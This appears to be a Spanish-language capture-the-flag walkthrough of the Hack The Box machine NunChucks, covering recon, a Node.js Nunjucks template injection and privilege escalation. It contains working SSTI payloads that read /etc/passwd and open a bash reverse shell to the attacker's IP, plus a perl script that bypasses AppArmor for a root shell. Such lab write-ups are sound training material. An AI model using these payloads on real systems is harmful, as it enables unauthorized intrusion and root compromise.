NunChucks
Máquina NunChucks de Hackthebox
Skills
- AppArmor Profile Bypass (Privilege Escalation)
- NodeJS SSTI (Server Side Template Injection)
Certificaciones
- eJPT
- eWPT
Descripción
NunChucks es una máquina easy linux donde estaremos vulnerando la máquina a través de una server side template injection encontrada en su página web, obtendremos acceso a la máquina víctima explotando el ssti. Escalaremos privilegios aprovechando un bug de AppArmor
Reconocimiento
Se comprueba que la máquina está activa y se determina su sistema operativo, el ttl de las máquinas linux suele ser 64, en este caso hay un nodo intermediario que hace que el ttl disminuya en una unidad
1
2
3
4
5
6
7
# ping 10.129.95.252
PING 10.129.95.252 (10.129.95.252) 56(84) bytes of data.
64 bytes from 10.129.95.252: icmp_seq=1 ttl=63 time=58.7 ms
^C
--- 10.129.95.252 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 58.658/58.658/58.658/0.000 ms
Nmap
Se va a realizar un escaneo de todos los puertos abiertos en el protocolo TCP a través de nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# sudo nmap -p- --open --min-rate 5000 -sS -n -Pn -v 10.129.95.252 -oG openPorts
[sudo] password for justice-reaper:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-03 13:10 CEST
Initiating SYN Stealth Scan at 13:10
Scanning 10.129.95.252 [65535 ports]
Discovered open port 80/tcp on 10.129.95.252
Discovered open port 443/tcp on 10.129.95.252
Discovered open port 22/tcp on 10.129.95.252
Completed SYN Stealth Scan at 13:10, 13.68s elapsed (65535 total ports)
Nmap scan report for 10.129.95.252
Host is up (0.11s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp open https
Se procede a realizar un análisis de detección de servicios y la identificación de versiones utilizando los puertos abiertos encontrados
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# nmap -sCV -p22,80,443 10.129.95.252 -oN services
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-03 13:14 CEST
Nmap scan report for 10.129.95.252
Host is up (0.084s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 6c:14:6d:bb:74:59:c3:78:2e:48:f5:11:d8:5b:47:21 (RSA)
| 256 a2:f4:2c:42:74:65:a3:7c:26:dd:49:72:23:82:72:71 (ECDSA)
|_ 256 e1:8d:44:e7:21:6d:7c:13:2f:ea:3b:83:58:aa:02:b3 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to https://nunchucks.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
443/tcp open ssl/http nginx 1.18.0 (Ubuntu)
| tls-nextprotoneg:
|_ http/1.1
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=nunchucks.htb/organizationName=Nunchucks-Certificates/stateOrProvinceName=Dorset/countryName=UK
| Subject Alternative Name: DNS:localhost, DNS:nunchucks.htb
| Not valid before: 2021-08-30T15:42:24
|_Not valid after: 2031-08-28T15:42:24
|_http-title: Nunchucks - Landing Page
| tls-alpn:
|_ http/1.1
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.69 seconds
Web Enumeration
Nos dirigimos a la página web y se visualiza lo siguiente:
La web posee virtual hosting por lo tanto debemos añadir el dominio nunchucks.htb al /etc/hosts
1
2
3
4
5
6
7
8
9
127.0.0.1 localhost
127.0.1.1 Kali-Linux
10.129.95.252 nunchucks.htb
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
Al acceder a la web vemos lo siguiente
Podemos registrarnos en https://nunchucks.htb/signup
Al intentar registrarnos no nos deja
Para ver como se tramita la petición, abrimos el burpsuite y no damos cuenta que se está enviando un json a la dirección de la api
Esto también se puede hacer desde el navegador, desde la pestaña network
Podemos iniciar sesión en https://nunchucks.htb/login
Al probar iniciar sesión nos dice que está actualmente deshabilitado
Al iniciar intentar iniciar sesión vemos otro endpoint de la api
Hemos fuzzeado el dominio nunchucks.htb en busca de nuevas rutas y no hemos encontrado nada interesante, por lo tanto como estamos ante un virtual hosting, he fuzzeado en busca de subdominios y he encontrado el subdominio store.nunchucks.htb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# wfuzz -c -t200 --hh 30587 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H 'Host: FUZZ.nunchucks.htb' https://nunchucks.htb
/home/justice-reaper/.local/lib/python3.11/site-packages/requests/__init__.py:102: RequestsDependencyWarning:urllib3 (1.26.18) or chardet (5.2.0)/charset_normalizer (2.0.12) doesn't match a supported version!
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: https://nunchucks.htb/
Total requests: 114441
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000081: 200 101 L 259 W 4028 Ch "store"
Añadimos store.nunchucks.htb al /etc/hosts
1
2
3
4
5
6
7
8
9
127.0.0.1 localhost
127.0.1.1 Kali-Linux
10.129.95.252 store.nunchucks.htb nunchucks.htb
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
Cuando accedemos a store.nunchucks.htb vemos lo siguiente
Al introducir un correo en y darle a notify me, nos aparece lo siguiente
Al verse reflejado nuestro input en una parte de la web y vemos que por detrás está corriendo express y node.js, podríamos probar a ver si existe un ssti
Efectivamente nos encontramos antes un ssti
Intrusión
Al estar corriendo node.js, he buscado en hacktricks y he dado con el template al que nos podríamos estar enfrentando, este template se llama nunjucks https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#nunjucks. Vamos a capturar la petición mediante burpsuite para poder explotar mejor esta vulnerabilidad
He probado los payloads de la página de hacktricks sin embargo, no funcionan correctamente debido a que le estamos mandando el payload en un json y las comillas dan conflictos, por lo tanto he usado PentestGPT para obtener un payload alternativo para poder leer el /etc/passwd
1
{{ range.constructor('return global.process.mainModule.require(\"fs\").readFileSync(\"/etc/passwd\", \"utf8\")')() }}
Ahora vamos a establecernos unas reverse shell a nuestro equipo, le he pedido a PentestGPT que me adapte el payload para establecerme una reverse shell que se encuentra en la página de hacktricks
1
{{range.constructor(\"return global.process.mainModule.require('child_process').execSync('bash -c \\\"bash -i >& /dev/tcp/10.10.16.15/4444 0>&1\\\"')\")()}}
Una vez en la máquina víctima vamos a realizar un tratamiento a la TTY
1
2
3
4
5
6
# nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.16.15] from (UNKNOWN) [10.129.95.252] 36954
bash: cannot set terminal process group (1027): Inappropriate ioctl for device
bash: no job control in this shell
david@nunchucks:/var/www/store.nunchucks$
Obtenemos las dimensiones de nuestra pantalla
1
2
# stty size
45 183
Efectuamos el tratamiento a la TTY
1
2
3
4
5
6
7
8
9
10
11
12
13
# script /dev/null -c bash
[ENTER]
[CTRL + Z]
# stty raw -echo; fg
[ENTER]
# reset xterm
[ENTER]
# export TERM=xterm
[ENTER]
# export SHELL=bash
[ENTER]
# stty rows 45 columns 183
[ENTER]
Ya tenemos un consola completamente interactiva
1
2
david@nunchucks:/var/www/store.nunchucks$ whoami
david
Privilege Escalation
Al listar capabilities nos damos cuenta que con perl podríamos escalar privilegios
1
2
3
4
5
6
david@nunchucks:/tmp/scripts$ getcap -r / 2>/dev/null
/usr/bin/perl = cap_setuid+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
Debido a que perl tiene esa capabilities podemos ejecutar comandos como usuario root, sin embargo, parece que algunos binarios no los podemos ejecutar
1
2
david@nunchucks:~$ perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "whoami";'
root
Esto se parece bastante a SELinux, no encontramos nada en el sistema que diga que está instalado. Buscando alternativas a SELinux he encontrado AppArmor, si buscamos en el sistema nos daremos cuenta de que se encuentra instalado
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
find / -type f -name '*apparmor*' 2>/dev/null
/usr/lib/apparmor/rc.apparmor.functions
/usr/lib/apparmor/apparmor.systemd
/usr/lib/systemd/system/apparmor.service
/usr/lib/python3/dist-packages/apparmor-2.13.3.egg-info
/usr/lib/python3/dist-packages/sos/report/plugins/__pycache__/apparmor.cpython-38.pyc
/usr/lib/python3/dist-packages/sos/report/plugins/apparmor.py
/usr/lib/x86_64-linux-gnu/libapparmor.so.1.6.1
/usr/sbin/apparmor_parser
/usr/share/man/man5/apparmor.d.5.gz
/usr/share/man/man5/apparmor.vim.5.gz
/usr/share/man/man7/apparmor.7.gz
/usr/share/man/man8/apparmor_parser.8.gz
/usr/share/man/man8/apparmor_status.8.gz
/usr/share/vim/addons/syntax/apparmor.vim
/usr/share/vim/registry/vim-apparmor.yaml
/usr/share/apport/package-hooks/source_apparmor.py
/usr/share/lintian/overrides/apparmor-notify
/usr/share/lintian/overrides/apparmor
/usr/share/lintian/overrides/python3-apparmor
/usr/share/lintian/overrides/libapparmor-perl
/usr/share/lintian/overrides/apparmor-easyprof
/usr/share/lintian/overrides/python3-libapparmor
/usr/share/lintian/overrides/libapparmor1
/usr/share/lintian/overrides/apparmor-utils
/usr/src/linux-headers-5.4.0-81-generic/include/config/security/apparmor.h
/usr/src/linux-headers-5.4.0-81-generic/include/config/default/security/apparmor.h
Nos metemos en el directorio donde los están perfiles de AppArmor y visualizamos el perfil de perl
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
david@nunchucks:/etc$ cd /etc/apparmor.d
david@nunchucks:/etc/apparmor.d$ ls
abstractions force-complain lsb_release sbin.dhclient usr.bin.man usr.sbin.ippusbxd usr.sbin.rsyslogd
disable local nvidia_modprobe tunables usr.bin.perl usr.sbin.mysqld usr.sbin.tcpdump
david@nunchucks:/etc/apparmor.d$ cat usr.bin.perl
# Last Modified: Tue Aug 31 18:25:30 2021
#include <tunables/global>
/usr/bin/perl {
#include <abstractions/base>
#include <abstractions/nameservice>
#include <abstractions/perl>
capability setuid,
deny owner /etc/nsswitch.conf r,
deny /root/* rwx,
deny /etc/shadow rwx,
/usr/bin/id mrix,
/usr/bin/ls mrix,
/usr/bin/cat mrix,
/usr/bin/whoami mrix,
/opt/backup.pl mrix,
owner /home/ r,
owner /home/david/ r,
}
En Hacktricks encontramos un artículo sobre como bypassear la seguridad de AppArmor mediante el shebang https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security/apparmor#apparmor-shebang-bypass
1
2
3
4
5
6
7
8
9
david@nunchucks:/tmp$ echo '#!/usr/bin/perl
> use POSIX qw(strftime);
> use POSIX qw(setuid);
> POSIX::setuid(0);
> exec "/bin/sh"' > /tmp/test.pl
david@nunchucks:/tmp$ chmod +x /tmp/test.pl
david@nunchucks:/tmp$ /tmp/test.pl
# whoami
root
En /opt nos encontramos dos archivos interesantes, el archivo backup.pl también se aprovecha de este bug para ejecutarse como usuario root
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
# ls
backup.pl web_backups
# cat backup.pl
#!/usr/bin/perl
use strict;
use POSIX qw(strftime);
use DBI;
use POSIX qw(setuid);
POSIX::setuid(0);
my $tmpdir = "/tmp";
my $backup_main = '/var/www';
my $now = strftime("%Y-%m-%d-%s", localtime);
my $tmpbdir = "$tmpdir/backup_$now";
sub printlog
{
print "[", strftime("%D %T", localtime), "] $_[0]\n";
}
sub archive
{
printlog "Archiving...";
system("/usr/bin/tar -zcf $tmpbdir/backup_$now.tar $backup_main/* 2>/dev/null");
printlog "Backup complete in $tmpbdir/backup_$now.tar";
}
if ($> != 0) {
die "You must run this script as root.\n";
}
printlog "Backup starts.";
mkdir($tmpbdir);
&archive;
printlog "Moving $tmpbdir/backup_$now to /opt/web_backups";
system("/usr/bin/mv $tmpbdir/backup_$now.tar /opt/web_backups/");
printlog "Removing temporary directory";
rmdir($tmpbdir);
printlog "Completed";
















